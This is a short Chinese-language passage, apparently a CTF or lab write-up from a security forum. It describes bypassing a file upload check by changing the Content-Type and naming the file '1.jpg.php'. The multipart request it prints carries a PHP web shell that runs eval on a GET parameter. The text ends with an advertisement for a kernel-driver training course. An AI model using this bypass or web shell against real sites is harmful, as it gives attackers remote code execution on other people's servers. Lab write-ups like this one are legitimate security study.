查看hint获得上传点，改上传的Content-Type即可（文件名似乎也在判断里，但能传就不继续测了），upload目录直接访问403，没改上传的文件名。直接传即可
-
WebKitFormBoundarypN5AvVAITKq3dCmK
Content
Disposition: form
data; name
=
"upload_file"
; filename
"1.jpg.php"
Type
: image
/
jpeg
<?php phpinfo();
eval
($_GET[
1
]);
"submit"
上传
[培训]内核驱动高级班，冲击BAT一流互联网大厂工作，每周日13:00-18:00直播授课
